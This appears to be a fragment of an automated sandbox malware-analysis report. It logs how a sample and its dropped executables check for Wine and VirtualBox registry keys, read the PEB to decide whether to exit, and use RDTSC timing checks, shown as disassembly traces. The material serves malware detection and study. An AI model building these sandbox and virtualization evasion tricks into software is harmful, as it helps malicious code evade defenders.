Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0258 second address: CEFB06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1C37h], eax 0x00000010 push dword ptr [ebp+122D1639h] 0x00000016 jmp 00007F8428B8CB52h 0x0000001b call dword ptr [ebp+122D22DAh] 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D1FABh], eax 0x00000028 xor eax, eax 0x0000002a jnp 00007F8428B8CB4Ch 0x00000030 mov dword ptr [ebp+122D1CBFh], eax 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a add dword ptr [ebp+122D1CBFh], edi 0x00000040 mov dword ptr [ebp+122D38CDh], eax 0x00000046 sub dword ptr [ebp+122D1FABh], edi 0x0000004c mov esi, 0000003Ch 0x00000051 jmp 00007F8428B8CB4Fh 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a sub dword ptr [ebp+122D1FABh], esi 0x00000060 lodsw 0x00000062 jmp 00007F8428B8CB52h 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b or dword ptr [ebp+122D1FABh], ebx 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 cmc 0x00000076 nop 0x00000077 pushad 0x00000078 pushad 0x00000079 jo 00007F8428B8CB46h 0x0000007f jmp 00007F8428B8CB57h 0x00000084 popad 0x00000085 push edi 0x00000086 jbe 00007F8428B8CB46h 0x0000008c pop edi 0x0000008d popad 0x0000008e push eax 0x0000008f push eax 0x00000090 push edx 0x00000091 pushad 0x00000092 push eax 0x00000093 push edx 0x00000094 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFB06 second address: CEFB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFB0C second address: CEFB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CB53 second address: E6CB6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3777h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CB6E second address: E6CB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CB7E second address: E6CB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CDEB second address: E6CDF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CDF1 second address: E6CDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D0B3 second address: E6D0D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 jnp 00007F8428B8CB46h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8428B8CB4Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FF37 second address: E6FF58 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8428CC3768h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push esi 0x0000000f jnc 00007F8428CC3768h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7006F second address: E70079 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8428B8CB4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70079 second address: E700DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 6D73ACF0h 0x0000000d mov dword ptr [ebp+122D1F05h], edi 0x00000013 lea ebx, dword ptr [ebp+12453E88h] 0x00000019 stc 0x0000001a xchg eax, ebx 0x0000001b pushad 0x0000001c pushad 0x0000001d jmp 00007F8428CC3772h 0x00000022 je 00007F8428CC3766h 0x00000028 popad 0x00000029 push ecx 0x0000002a jmp 00007F8428CC376Fh 0x0000002f pop ecx 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 jmp 00007F8428CC3772h 0x00000038 pushad 0x00000039 push esi 0x0000003a pop esi 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7015F second address: E70217 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8428B8CB58h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 792AB433h 0x00000012 clc 0x00000013 push 00000003h 0x00000015 pushad 0x00000016 mov al, 5Ah 0x00000018 mov ecx, edi 0x0000001a popad 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007F8428B8CB48h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 sub dword ptr [ebp+122D1A89h], esi 0x0000003d push 00000003h 0x0000003f mov ecx, dword ptr [ebp+122D37EDh] 0x00000045 push 7674C198h 0x0000004a pushad 0x0000004b jmp 00007F8428B8CB59h 0x00000050 jbe 00007F8428B8CB4Ch 0x00000056 popad 0x00000057 add dword ptr [esp], 498B3E68h 0x0000005e mov dword ptr [ebp+122D1939h], edi 0x00000064 lea ebx, dword ptr [ebp+12453E91h] 0x0000006a xchg eax, ebx 0x0000006b jng 00007F8428B8CB57h 0x00000071 jmp 00007F8428B8CB51h 0x00000076 push eax 0x00000077 push esi 0x00000078 push eax 0x00000079 push edx 0x0000007a push ecx 0x0000007b pop ecx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E702F9 second address: E70324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007F8428CC376Eh 0x0000000e jnp 00007F8428CC3768h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 jl 00007F8428CC3768h 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jo 00007F8428CC3766h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90CB0 second address: E90CD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB58h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90CD4 second address: E90CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90CD8 second address: E90D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F8428B8CB5Ah 0x00000011 jmp 00007F8428B8CB4Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90D09 second address: E90D1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8428CC376Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E67792 second address: E67796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E67796 second address: E6779C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECA5 second address: E8ECAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECAB second address: E8ECB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECB5 second address: E8ECB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECB9 second address: E8ECBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECBD second address: E8ECC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECC9 second address: E8ECD3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8428CC3766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EF63 second address: E8EF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EF6B second address: E8EF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8428CC3775h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F234 second address: E8F238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F238 second address: E8F23E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F4B8 second address: E8F4BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F4BE second address: E8F4C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E906C2 second address: E906C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E906C6 second address: E90704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3771h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8428CC3777h 0x00000010 pop esi 0x00000011 pushad 0x00000012 push ebx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jng 00007F8428CC3766h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90704 second address: E90708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90B22 second address: E90B6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F8428CC376Dh 0x00000010 jmp 00007F8428CC376Dh 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b jmp 00007F8428CC376Ch 0x00000020 jnc 00007F8428CC376Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 js 00007F8428CC3766h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95931 second address: E95951 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95951 second address: E95955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95EF6 second address: E95EFB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94EC8 second address: E94EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F8428CC3777h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94EEF second address: E94EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94EF3 second address: E94EF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94EF7 second address: E94EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95F8C second address: E95F91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E960D6 second address: E960E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8428B8CB46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E960E0 second address: E960F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jo 00007F8428CC376Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62572 second address: E6258D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F8428B8CB55h 0x0000000c jmp 00007F8428B8CB4Dh 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B932 second address: E9B961 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8428CC376Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F8428CC3766h 0x00000014 jmp 00007F8428CC3775h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B961 second address: E9B97B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB50h 0x00000007 jnp 00007F8428B8CB46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9ADD1 second address: E9ADD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9ADD5 second address: E9ADD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9ADD9 second address: E9ADF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428CC3770h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push edi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AF43 second address: E9AF49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AF49 second address: E9AF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428CC3773h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CC79 second address: E9CC7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CC7D second address: E9CC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CC83 second address: E9CC88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D12A second address: E9D156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007F8428CC3766h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jng 00007F8428CC3768h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F8428CC3773h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D3B6 second address: E9D3BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DD2F second address: E9DD34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DDB3 second address: E9DDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA116E second address: EA1173 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3313 second address: EA3317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60A8F second address: E60AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8428CC3772h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA13F second address: EAA143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB13F second address: EAB168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8428CC3766h 0x00000009 jmp 00007F8428CC3772h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 ja 00007F8428CC3766h 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA2BA second address: EAA2BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA2BE second address: EAA332 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jo 00007F8428CC376Ch 0x0000000f js 00007F8428CC3766h 0x00000015 jmp 00007F8428CC3778h 0x0000001a popad 0x0000001b nop 0x0000001c push dword ptr fs:[00000000h] 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F8428CC3768h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000016h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d mov ebx, esi 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 mov dword ptr [ebp+1248993Bh], eax 0x0000004c mov eax, dword ptr [ebp+122D1555h] 0x00000052 push FFFFFFFFh 0x00000054 mov bx, dx 0x00000057 nop 0x00000058 push edi 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA332 second address: EAA336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA336 second address: EAA33A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA33A second address: EAA347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC277 second address: EAC27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA347 second address: EAA34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC3C2 second address: EAC3CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F8428CC3766h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE26C second address: EAE272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
